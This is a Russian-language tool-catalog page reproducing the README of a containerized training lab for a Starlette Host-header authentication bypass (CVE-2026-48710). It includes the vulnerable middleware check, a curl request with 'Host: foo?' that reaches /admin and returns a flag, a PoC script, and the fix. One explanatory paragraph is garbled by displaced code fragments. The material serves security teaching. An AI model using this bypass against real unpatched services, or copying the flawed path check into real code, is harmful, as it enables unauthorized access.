Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
starlette-host-header-lab — Лаборатория Starlette по путанице URL с заголовком Host (X41-2026-002) - CVE-2026-48710 | Kitploit
Инструменты/GitHubGitHub/xtremebeing/starlette-host-header-lab
Анализ уязвимостейВеб-безопасностьАутентификацияНеправильная КонфигурацияОбучение и ОбразованиеЛаборатории и Практика
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Лаборатория Starlette по путанице URL с заголовком Host (X41-2026-002) - CVE-2026-48710

Репозиторий
153 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Starlette Host-Header URL Confusion Lab (X41-2026-002)

Автономный, контейнеризированный учебный лабораторный стенд, воспроизводящий уязвимость обхода аутентификации в Starlette, раскрытую X41 D-Sec.

  • Консультация: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Конфликт интерпретации / Недоверенные входные данные в вызове функции
  • CVSS: 7.0 (Высокий)
  • Затронуто: Starlette >= 0.8.3, < 1.0.1 (в лаборатории зафиксирована версия 0.37.2)
  • Исправлено в: Starlette 1.0.1

⚠️ Только для авторизованного обучения безопасности. Это приложение намеренно уязвимо. Не разворачивайте его в какой-либо достижимой сети.


Уязвимость в одном абзаце

Starlette направляет запрос к маршруту, используя сырой ASGI scope["path"], но восстанавливает путем форматирования строки с использованием предоставленного клиентом заголовка в — в соответствии с RFC 9112 §3.2. Поскольку метасимволы URL (, , ) пропускаются напрямую, злоумышленник может заставить путь отличаться от по маршруту пути. Любая проверка безопасности, написанная с использованием , может быть обманута, в то время как маршрутизатор все еще достигает защищенного обработчика.

request.url
Host
"{scheme}://{host}{path}"
без проверки заголовка Host
?
/
#
восстановленный
направленного
request.url.path

Почему PoC работает

Уязвимое промежуточное ПО разрешает запрос только тогда, когда request.url.path равен / или пуст:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # разрешено
return PlainTextResponse("Forbidden", status_code=403)

Отправьте Host: foo? против GET /admin:

КомпонентИспользуемое значение
Маршрутизатор (scope["path"])/admin → направляет в admin()
request.urlhttp://foo?/admin
request.url.path"" → проходит проверку аутентификации ✅

? превращает все после себя в строку запроса, поэтому разобранный путь пуст. Аутентификация видит пустой путь и пропускает его; маршрутизатор все равно обслуживает /admin. Обход достигнут.


Запуск лаборатории

Требуется Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Запускаются два сервиса:

СервисURLПоведение
vulnerablehttp://localhost:8000допускает обход
fixedhttp://localhost:8001защищён (двумя способами)

Эксплуатация

root@kitploit:~
# Заблокировано обычным образом:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Обход через инъекцию заголовка Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

Или запустите направляющий PoC-скрипт:

root@kitploit:~
./exploit/exploit.sh        # атакует :8000 (успешно)
./exploit/exploit.sh 8001   # атакует :8001 (неудачно — исправлено)

Уязвимый обработчик /admin возвращает тело JSON, которое делает путаницу видимой — обратите внимание, как scope_path и reconstructed_path расходятся:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Как это исправлено

Смотрите fixed/fixed_app.py. Две независимые меры защиты:

  1. Используйте авторитетное значение. Принимайте решение об аутентификации на основе request.scope["path"] — того же сырого пути, который использует маршрутизатор, — вместо восстановленного request.url.path.
  2. Защита в глубину. TrustedHostMiddleware отклоняет неожиданные/некорректные заголовки Host до того, как выполняется какая-либо логика приложения, отражая то, что делает соответствующий RFC обратный прокси-сервер (nginx/Apache) выше по потоку.

Реальное исправление — просто обновление до Starlette ≥ 1.0.1, которое проверяет заголовок Host при восстановлении URL.


Вопросы для обсуждения инженерами

  1. Где ещё в типичном стеке значение восстанавливается из недоверенных входных данных, а затем ему доверяют? (Подсказка: белые списки SSRF, redirect_uri OAuth, ключи кэша, ссылки для сброса пароля, построенные из Host.)
  2. Почему «заблокировать плохой путь» (/admin) здесь более хрупко, чем «принимать решение на основе маршрутизированной конечной точки»? Что, если маршрутизация нечувствительна к регистру или имеет перенаправления с завершающим слешем?
  3. Это CWE-436 (конфликт интерпретации). Какие ещё известные ошибки имеют такую же форму? (Контрабанда HTTP-запросов, обход аутентификации через нормализацию Unicode, «0.0.0.0-day».)

Файлы

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # намеренно уязвимый сервис
├── fixed/fixed_app.py      # защищённый сервис для сравнения
├── exploit/exploit.sh      # направляющий proof-of-concept
├── requirements.txt        # фиксирует Starlette 0.37.2 (уязвимую)
├── Dockerfile
├── docker-compose.yml
└── README.md
Скачать инструмент